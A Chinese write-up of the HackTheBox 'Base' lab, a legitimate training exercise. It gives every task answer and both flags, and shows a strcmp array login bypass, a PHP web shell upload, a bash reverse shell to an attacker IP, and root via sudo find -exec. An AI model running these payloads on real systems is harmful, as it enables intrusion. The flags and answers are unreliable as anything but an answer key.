HackTheBox-Starting Point--Tier 2---Base
文章目录
- 一 题目
- 二 过程记录
- 2.1 打点
- 2.2 权限获取
- 2.3 横向移动
- 2.4 权限提升
一 题目
Tags
Web、Vulnerability Assessment、Custom Applications、Source Code Analysis、Authentication、Apache、PHP、Reconnaissance、Web Site Structure Discovery、SUDO Exploitation、Authentication bypass、Clear Text Credentials、Arbitrary File Upload、Information Disclosure、PHP type juggling译文:Web、漏洞评估、自定义应用程序、源代码分析、认证、Apache、PHP、侦察、网站结构发现、SUDO 开发、身份验证绕过、明文凭据、任意文件上传、信息披露、PHP类型杂技
Connect
To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。
SPAWN MACHINE
Spawn the target machine and the IP will show here.译文:生成目标机器,IP 将显示在此处
TASK 1
Which two TCP ports are open on the remote host?译文:远程主机开启了哪两个TCP端口?答:22,80
TASK 2
What is the relative path on the webserver for the login page?译文:登录页面在 Web 服务器上的相对路径是什么?答:/login/login.php
TASK 3
How many files are present in the '/login' directory?译文:“/login”目录中有多少个文件?答:3
TASK 4
What is the file extension of a swap file?译文:swap文件的扩展名是什么?答:.swp
TASK 5
Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?译文:后端代码中使用了哪个 PHP 函数来将用户提交的用户名和密码与有效的用户名和密码进行比较?答:strcmp()
TASK 6
In which directory are the uploaded files stored?译文:上传的文件存储在哪个目录中?答:/_uploaded
TASK 7
Which user exists on the remote host with a home directory?译文:home 目录的远程主机上存在哪个用户?答:john
TASK 8
What is the password for the user present on the system?译文:系统上存在的用户的密码是什么?答:thisisagoodpassword
TASK 9
What is the full path to the command that the user john can run as user root on the remote host?译文:用户 john 可以在远程主机上以 root 用户身份运行的命令的完整路径是什么?答:/usr/bin/find
TASK 10
What action can the find command use to execute commands?译文:find 命令可以使用什么操作来执行命令?答:exec
SUBMIT FLAG
Submit user flag译文:用户flag答:f54846c258f3b4612f78a819573d158e
SUBMIT FLAG
Submit root flag译文:提交root flag答:51709519ea18ab37dd6fc58096bea949
二 过程记录
2.1 打点
1.端口扫描
nmap -sV -sC 10.129.198.121
2.访问web页面,并发现敏感信息
访问80端口,点击Login,页面跳转到 http://10.129.198.121/login/login.php
去掉login.php访问:http://10.129.32.71/login/,发现登录文件、配置文件、swp文件
SWP文件
:是一种备份Vim编辑器临时文件的格式。在Vim编辑器意外中断时,SWP文件能够帮助用户恢复丢失的内容。也可以通过手动设置SWAP文件路径环境变量的方式来更改文件存储位置。SWP文件是临时文件,在正确操作的情况下,Vim会自动删除这些文件。
swp文件是一个临时文件,它包含许多非可读的内容,因此可以使用 strings命令来读取这个交换文件, strings命令可以显示人类可读的文本。
# strings命令可以查看当前查看的文件类型,并且可以提取文本
strings login.php.swp
执行strings命令,显示如下:
b0VIM 8.0
root
base
/var/www/html/login/login.php
3210
#"! <input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required><div class="form-group"><div class="row" align="center"><form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe"><div class="col-lg-12 mt-5 mt-lg-0"><div class="row mt-2"></div><p>Use the form below to log into your account.</p><h2>Login</h2><div class="section-title mt-5" ><div class="container" data-aos="fade-up"><section id="login" class="contact section-bg" style="padding: 160px 0"><!-- ======= Login Section ======= --></header><!-- End Header --></div></nav><!-- .navbar --><i class="bi bi-list mobile-nav-toggle"></i></ul><li><a class="nav-link scrollto action" href="/login.php">Login</a></li><li><a class="nav-link scrollto" href="/#contact">Contact</a></li><li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li><li><a class="nav-link scrollto" href="/#team">Team</a></li><li><a class="nav-link scrollto" href="/#services">Services</a></li><li><a class="nav-link scrollto" href="/#about">About</a></li><li><a class="nav-link scrollto" href="/#hero">Home</a></li><ul><nav id="navbar" class="navbar"><!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>--><!-- Uncomment below if you prefer to use an image logo --><h1 class="logo"><a href="index.html">BASE</a></h1><div class="container d-flex align-items-center justify-content-between"><header id="header" class="fixed-top"><!-- ======= Header ======= -->
<body>
</head><link href="../assets/css/style.css" rel="stylesheet"><!-- Template Main CSS File --><link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet"><link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet"><link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet"><link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet"><link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet"><link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"><link href="../assets/vendor/aos/aos.css" rel="stylesheet"><!-- Vendor CSS Files --><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet"><!-- Google Fonts --><link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon"><link href="../assets/img/favicon.png" rel="icon"><!-- Favicons --><meta content="" name="keywords"><meta content="" name="description"><title>Welcome to Base</title><meta content="width=device-width, initial-scale=1.0" name="viewport"><meta charset="utf-8">
<head>
<html lang="en">
<!DOCTYPE html>}print("<script>alert('Wrong Username or Password')</script>");} else {}print("<script>alert('Wrong Username or Password')</script>");} else {header("Location: /upload.php");$_SESSION['user_id'] = 1;if (strcmp($password, $_POST['password']) == 0) {if (strcmp($username, $_POST['username']) == 0) {require('config.php');
if (!empty($_POST['username']) && !empty($_POST['password'])) {
session_start();
<?php
</html>
</body><script src="../assets/js/main.js"></script>
查看文件内容,发现文件内容是颠倒的,利用tac命令将文件从尾部到头部重新输出一遍:
strings login.php.swp >> file.txt# mac下使用tail -r命令
tail -r fiel.txt
# linux下使用tac命令
tac file.txt
整理后的文件内容如下:
<script src="../assets/js/main.js"></script>
</body>
</html>
<?php
session_start();
if (!empty($_POST['username']) && !empty($_POST['password'])) {require('config.php');if (strcmp($username, $_POST['username']) == 0) {if (strcmp($password, $_POST['password']) == 0) {$_SESSION['user_id'] = 1;header("Location: /upload.php");} else {print("<script>alert('Wrong Username or Password')</script>");}} else {print("<script>alert('Wrong Username or Password')</script>");}
<!DOCTYPE html>
<html lang="en">
<head><meta charset="utf-8"><meta content="width=device-width, initial-scale=1.0" name="viewport"><title>Welcome to Base</title><meta content="" name="description"><meta content="" name="keywords"><!-- Favicons --><link href="../assets/img/favicon.png" rel="icon"><link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon"><!-- Google Fonts --><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet"><!-- Vendor CSS Files --><link href="../assets/vendor/aos/aos.css" rel="stylesheet"><link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"><link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet"><link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet"><link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet"><link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet"><link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet"><!-- Template Main CSS File --><link href="../assets/css/style.css" rel="stylesheet">
</head>
<body><!-- ======= Header ======= --><header id="header" class="fixed-top"><div class="container d-flex align-items-center justify-content-between"><h1 class="logo"><a href="index.html">BASE</a></h1><!-- Uncomment below if you prefer to use an image logo --><!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>--><nav id="navbar" class="navbar"><ul><li><a class="nav-link scrollto" href="/#hero">Home</a></li><li><a class="nav-link scrollto" href="/#about">About</a></li><li><a class="nav-link scrollto" href="/#services">Services</a></li><li><a class="nav-link scrollto" href="/#team">Team</a></li><li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li><li><a class="nav-link scrollto" href="/#contact">Contact</a></li><li><a class="nav-link scrollto action" href="/login.php">Login</a></li></ul><i class="bi bi-list mobile-nav-toggle"></i></nav><!-- .navbar --></div></header><!-- End Header --><!-- ======= Login Section ======= --><section id="login" class="contact section-bg" style="padding: 160px 0"><div class="container" data-aos="fade-up"><div class="section-title mt-5" ><h2>Login</h2><p>Use the form below to log into your account.</p></div><div class="row mt-2"><div class="col-lg-12 mt-5 mt-lg-0"><form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe"><div class="row" align="center"><div class="form-group"><input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required>
#"!
3210
/var/www/html/login/login.php
base
root
b0VIM 8.0
3.代码分析
如上代码块中:开发人员使用strcmp()来检查用户名和密码的组合,当用户输入正确时,返回0,此时登录成功。
在php中,如果在变量前加上[]
,会把变量转化为数组。如果给strcmp()函数一个空数组($username[] & $password[])
进行比较,结果将返回NULL,==运算符只检查变量的值是否相等,但是NULL的值为0。返回0,则登录成功。也就成功绕过登录。
4.使用burpsuite更改请求包绕过登录
拦截请求包,将username=admin&password=123更改为username[]=admin&password[]=123
,成功绕过登录。发现一个上传页面。
2.2 权限获取
5.文件上传漏洞利用
上传一句话木马
<?php echo system($_REQUEST['cmd']);?>
暴力破解上传文件保存路径,发现存在一个_uploaded目录
./gobuster dir -u http://10.129.32.71/ -w php.txt
点击访问request.php文件,页面为空
但是如果添加?cmd=id
执行系统命令,执行成功
6.获取反弹shell
攻击机器开启监听ncat -lnvp 1234
对反弹shell进行URL编码
/bin/bash -c 'bash -i>& /dev/tcp/10.10.14.11/1234 0>&1'
然后在URL中执行,成功拿到shell
2.3 横向移动
访问http://10.129.198.167/login/config.php页面时,页面为空白,此时www-data权限下查看config.php文件,发现用户名和密码:
$username = "admin";
$password = "thisisagoodpassword"
列举home目录下的用户,并尝试使用上文获取到的密码thisisagoodpassword切换到john,但是显示需要交互式shell才可以使用su命令
22端口开放,尝试使用ssh连接,john用户登录成功
ssh john@10.129.198.167
thisisagoodpassword
获取到john用户的flag
2.4 权限提升
# 列出当前用户可以利用sudo执行哪些命令
sudo -l
输出显示:john用户可以以root权限执行find命令
执行以下命令获取root权限
sudo find . -exec /bin/sh \; -quit
相关文章:

HackTheBox-Starting Point--Tier 2---Base
文章目录 一 题目二 过程记录2.1 打点2.2 权限获取2.3 横向移动2.4 权限提升 一 题目 Tags Web、Vulnerability Assessment、Custom Applications、Source Code Analysis、Authentication、Apache、PHP、Reconnaissance、Web Site Structure Discovery、SUDO Exploitation、Au…...

算法导论笔记4:散列数 hash
一 了解一些散列的基本概念,仅从文字角度,整理了最基础的定义。 发现一本书,《算法图解》,微信读书APP可读,有图,并且是科普性质的读物,用的比喻很生活化,可以与《算法导论》合并起…...

知识蒸馏概述及开源项目推荐
文章目录 1.介绍2.知识2.1 基于响应的知识(response-based)2.2 基于特征的知识(feature-based)2.3 基于关系的知识(relation-based) 3.蒸馏机制3.1 离线蒸馏3.2 在线蒸馏3.3 自蒸馏 4.教师-学生架构5.蒸馏算法5.1 对抗性蒸馏(Adversarial Dis…...

jupyter notebook中markdown改变图像大小
文章目录 🕮原始图像🕮改变图像大小🕮使图像靠左 在 jupyter notebook中,导入的图片过大,想要改变图像的大小 🕮原始图像 🕮改变图像大小 复制小括号里面的内容到src后面,满足<…...
SpringGateWay——yml文件配置详解
Spring Gateway 是一个基于 Spring 框架的网关服务,主要作用是将流量路由到不同的微服务中。它的灵活性和可扩展性使它成为构建云原生应用架构的不二之选。 下面是 Spring Gateway 的 yml 文件配置参数详解: spring:cloud: gateway: routes: # 路由相…...

Haproxy实现七层负载均衡
目录 Haproxy概述 haproxy算法: Haproxy实现七层负载 ①部署nginx-server测试页面 ②(主/备)部署负载均衡器 ③部署keepalived高可用 ④增加对haproxy健康检查 ⑤测试 Haproxy概述 haproxy---主要是做负载均衡的7层,也可以做4层负载均衡 apache也可…...
k8s最详细集群部署
安装kubeadm、kubectl、和 kubelet 这里通过百度网盘下载所需要的安装包: 链接: k8s部署包.zip_免费高速下载|百度网盘-分享无限制 提取码: 0000 1、下载部署包到本地后,在k8s部署包/k8s目录下 执行此yum命令安装:yum localinstall ./*.r…...
Redis底层数据结构:字典
在 Redis 中,字典(Dictionary)是一种常用的底层数据结构,它被用于实现 Redis 的哈希表(Hash Table)数据结构。字典用于存储键值对,它提供了快速的键值查找、插入和删除操作。 Redis 字典的特点&…...

upload 文件自动上传写法,前后端 下载流文件流
<el-uploadv-model:file-list"fileList":action"app.api/student/student/import":headers"{// Content-Type: multipart/form-data;boundary----split-boundary, 此处切记不要加,否则会造成后端报错 Required request part file is…...

Python文件、文件夹操作汇总
目录 一、概览 二、文件操作 2.1 文件的打开、关闭 2.2 文件级操作 2.3 文件内容的操作 三、文件夹操作 四、常用技巧 五、常见使用场景 5.1 查找指定类型文件 5.2 查找指定名称的文件 5.3 查找指定名称的文件夹 5.4 指定路径查找包含指定内容的文件 一、概览 在…...

CHM Viewer Star 6.3.2(CHM文件阅读)
CHM Viewer Star 是一款适用于 Mac 平台的 CHM 文件阅读器软件,支持本地和远程 CHM 文件的打开和查看。它提供了直观易用的界面设计,支持多种浏览模式,如书籍模式、缩略图模式和文本模式等,并提供了丰富的功能和工具,如…...

【GIT】git分支命令,使用分支场景介绍git标签介绍,git标签命令,git标签使用的场景git查看提交历史
目录 一,git分支命令,使用分支场景介绍 二,git标签介绍,git标签命令,git标签使用的场景 三,git查看提交历史 前言: 今天我们来聊聊关于Git 分支管理。几乎每一种版本控制系统都以某种形式支持…...

Zeitgeist ZTG Token以及其预测市场加入Moonbeam生态
波卡上的首选多链开发平台Moonbeam宣布与Zeitgeist达成XCM集成,将ZTG Token引入Moonbeam。此集成将使波卡内的Moonbeam和Zeitgeist网络之间的流动性得以流动,并通过Moonbeam的互连合约实现远程链集成。 Zeitgeist是一个基于波卡的Substrate区块链框架构…...
AM@方向导数概念和定理
文章目录 abstract方向导数二元函数方向导数偏导数是方向导数的特例偏导数存在一定有对应的方向导数存在方向导数存在不一定有偏导数存在例 三元函数方向导数例 方向导数存在定理和计算公式证明二元函数三元函数 abstract 方向导数的概念,定理和计算公式方向导数是对偏导的补充…...

微信小程序隐私政策不合规,应当由用户自主阅读后自行选择是否同意隐私政策协议,不得默认强制用户同意
小程序隐私政策不合规,默认自动同意《用户服务协议》及《隐私政策》,应当由用户自主阅读后自行选择是否同意隐私政策协议,不得默认强制用户同意,请整改后再重新提交。 把 登录代表同意《用户协议》和《隐私政策》 改为 同意《用…...
Python中如何判断两个对象的内存地址是否一致?
目录 一、引言 二、Python的内存管理 三、对象的比较 四、使用id函数判断内存地址 五、总结 一、引言 在Python中,我们经常需要比较两个对象是否是同一个对象,或者说它们是否在内存中占据同一位置。在理解这个问题之前,我们需要了解Pyt…...

唯美仙侠3D手游2023【仙变3】画面精美/linux服务端+双端+GM后台+运营后台+详细教程
搭建资源下载地址:https://www.ldmzy.com/6618/6618.html...
React组件通信:如何优雅地实现组件间的数据传递
在React应用中,组件通信是至关重要的一部分。通过合适的数据传递和交互方式,我们可以构建出更加灵活和高效的前端应用。本文将介绍React组件通信的各种方式,并提供代码实现,帮助你更好地理解和应用这些技术。 1. 使用props进行父子…...

数据分析实战 | 逻辑回归——病例自动诊断分析
目录 一、数据及分析对象 二、目的及分析任务 三、方法及工具 四、数据读入 五、数据理解 六、数据准备 七、模型训练 八、模型评价 九、模型调参 十、模型预测 一、数据及分析对象 CSV文件——“bc_data.csv” 数据集链接:https://download.csdn.net/d…...
Eigen::Matrix<double,3,1> F;Eigen::MatrixXd F (3, 2);这两行代码有什么区别?
这两行代码的区别在于定义的矩阵 F 的类型和维度不同。 第一行: Eigen::Matrix<double,3,1> F;这行代码创建了一个3x1的矩阵 F,其中元素类型为 double。这是一个静态大小的矩阵,其维度在编译时确定。 第二行: Eigen::Ma…...

Qt/C++开发监控GB28181系统/取流协议/同时支持udp/tcp被动/tcp主动
一、前言说明 在2011版本的gb28181协议中,拉取视频流只要求udp方式,从2016开始要求新增支持tcp被动和tcp主动两种方式,udp理论上会丢包的,所以实际使用过程可能会出现画面花屏的情况,而tcp肯定不丢包,起码…...

Zustand 状态管理库:极简而强大的解决方案
Zustand 是一个轻量级、快速和可扩展的状态管理库,特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...

练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...
【Linux】C语言执行shell指令
在C语言中执行Shell指令 在C语言中,有几种方法可以执行Shell指令: 1. 使用system()函数 这是最简单的方法,包含在stdlib.h头文件中: #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...
uniapp中使用aixos 报错
问题: 在uniapp中使用aixos,运行后报如下错误: AxiosError: There is no suitable adapter to dispatch the request since : - adapter xhr is not supported by the environment - adapter http is not available in the build 解决方案&…...

AI书签管理工具开发全记录(十九):嵌入资源处理
1.前言 📝 在上一篇文章中,我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源,方便后续将资源打包到一个可执行文件中。 2.embed介绍 🎯 Go 1.16 引入了革命性的 embed 包,彻底改变了静态资源管理的…...

20个超级好用的 CSS 动画库
分享 20 个最佳 CSS 动画库。 它们中的大多数将生成纯 CSS 代码,而不需要任何外部库。 1.Animate.css 一个开箱即用型的跨浏览器动画库,可供你在项目中使用。 2.Magic Animations CSS3 一组简单的动画,可以包含在你的网页或应用项目中。 3.An…...

vulnyx Blogger writeup
信息收集 arp-scan nmap 获取userFlag 上web看看 一个默认的页面,gobuster扫一下目录 可以看到扫出的目录中得到了一个有价值的目录/wordpress,说明目标所使用的cms是wordpress,访问http://192.168.43.213/wordpress/然后查看源码能看到 这…...

【网络安全】开源系统getshell漏洞挖掘
审计过程: 在入口文件admin/index.php中: 用户可以通过m,c,a等参数控制加载的文件和方法,在app/system/entrance.php中存在重点代码: 当M_TYPE system并且M_MODULE include时,会设置常量PATH_OWN_FILE为PATH_APP.M_T…...
Python网页自动化Selenium中文文档
1. 安装 1.1. 安装 Selenium Python bindings 提供了一个简单的API,让你使用Selenium WebDriver来编写功能/校验测试。 通过Selenium Python的API,你可以非常直观的使用Selenium WebDriver的所有功能。 Selenium Python bindings 使用非常简洁方便的A…...